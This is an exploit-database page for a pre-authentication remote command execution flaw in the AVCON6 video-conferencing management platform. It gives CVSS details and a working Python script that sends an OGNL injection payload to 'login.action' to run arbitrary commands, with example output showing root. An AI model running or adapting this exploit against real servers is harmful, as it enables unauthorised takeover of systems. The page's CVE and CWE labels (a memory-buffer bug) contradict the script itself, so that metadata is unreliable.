Exploitalert - Database of Exploits

AVCON6 Systems Management Platform Remote Root

CVE	Category	Price	Severity
CVE-2021-39809	CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer	$500	Critical

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2019-09-11

CPE
cpe:cpe:2.3:a:avcon6:systems_management_platform::::::::

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H	0.55842	0.9947

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	High	PR	The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2019090083

AVCON6 Systems Management Platform Remote Root

# Exploit Title: AVCON6 systems management platform - OGNL - Remote root command execution # Date: 10/09/2018 # Exploit Author: Nassim Asrir # Contact: [email protected] | https://www.linkedin.com/in/nassim-asrir-b73a57122/ # CVE: N\A # Tested On: Windows 10(64bit) / 61.0b12 (64-bit) # Thanks to: Otmane Aarab # Example below: # python ./rce.py http://server:8080/ id # Testing Target: http://server:8080/ # uid=0(root) gid=0(root) # Vendor: http://www.epross.com/ # About the product: The AVCON6 video conferencing system is the most complete set of systems, including multi-screen multi-split screens and systems that are integrated with H323/SIP protocol devices. High-end video conferencing # software ideal for Room Base environments and performance requirements. Multi-party video conferencing can connect thousands of people at the same time. # I am not responsible for any wrong use. ###################################################################################################### #!/usr/bin/python # -*- coding: utf-8 -*- import urllib2 import httplib def exploit(url, cmd): payload = 'login.action?redirect:' payload += '${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{%22'+cmd+'%22})).' payload += 'start(),%23b%3d%23a.getInputStream(),' payload += '%23c%3dnew%20java.io.InputStreamReader(%23b),' payload += '%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d' payload += '.read(%23e),%23matt%3d%23context.' payload += 'get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),' payload += '%23matt.getWriter().println(%23e),%23matt.' payload += 'getWriter().flush(),%23matt.getWriter()' payload += '.close()}' try: headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0'} request = urllib2.Request(url+payload, headers=headers) page = urllib2.urlopen(request).read() except httplib.IncompleteRead, e: page = e.partial print(page) return page if __name__ == '__main__': import sys if len(sys.argv) != 3: print("[*] struts2_S2-045.py http://target/ id") else: print('[*] Avcon6-Preauh-Remote Command Execution') url = sys.argv[1] cmd = sys.argv[2] print("[*] Executed Command: %s\n" % cmd) print("[*] Target: %s\n" % url) exploit(url, cmd)

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